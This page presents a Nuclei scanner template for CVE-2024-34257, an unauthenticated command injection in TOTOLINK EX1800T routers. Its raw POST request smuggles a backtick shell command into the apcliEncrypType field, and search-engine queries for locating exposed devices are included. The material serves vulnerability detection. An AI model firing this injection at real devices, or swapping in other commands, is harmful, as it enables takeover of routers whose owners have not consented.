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TOTOLINK EX1800T TOTOLINK EX1800T - Command Injection

ID: CVE-2024-34257

Severity: high

Author: pussycat0x

Tags: cve,cve2024,rce,unauth

Description

Section titled “Description”

TOTOLINK EX1800T V9.1.0cu.2112_B20220316 has a vulnerability in the apcliEncrypType parameter that allows unauthorized execution of arbitrary commands, allowing an attacker to obtain device administrator privileges.

YAML Source

Section titled “YAML Source”
id: CVE-2024-34257


info:
  name: TOTOLINK EX1800T TOTOLINK EX1800T - Command Injection
  author: pussycat0x
  severity: high
  description: |
    TOTOLINK EX1800T V9.1.0cu.2112_B20220316 has a vulnerability in the apcliEncrypType parameter that allows unauthorized execution of arbitrary commands, allowing an attacker to obtain device administrator privileges.
  reference:
    - https://github.com/ZackSecurity/VulnerReport/blob/cve/totolink/EX1800T/1.md
    - https://immense-mirror-b42.notion.site/TOTOLINK-EX1800T-has-an-unauthorized-arbitrary-command-execution-vulnerability-2f3e308f5e1d45a2b8a64f198cacc350
    - https://github.com/20142995/nuclei-templates
  classification:
    epss-score: 0.00043
    epss-percentile: 0.0926
  metadata:
    vendor: totolink
    product: a3700r_firmware
    shodan-query: http.title:"totolink"
    fofa-query: title="totolink"
    google-query: intitle:"totolink"
  tags: cve,cve2024,rce,unauth


variables:
  file: "{{rand_base(6)}}"


http:
  - raw:
      - |
        POST /cgi-bin/cstecgi.cgi HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{RootURL}}/page/index.html


        {
        "token":"",
        "apcliEncrypType":"`id>../{{file}}.txt`",
        "topicurl":"setWiFiExtenderConfig"
        }
      - |
        GET /{{file}}.txt HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '"success": true'


      - type: regex
        part: body_2
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e0a033672220289689891ec56759966f05ffc557318856fb9ae6ec6fa0019201022001fa7d09b28d51cef9258e7d8e1c6fcfd58b8b093285c8e451ca22b30f9fbe50:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-34257.yaml"

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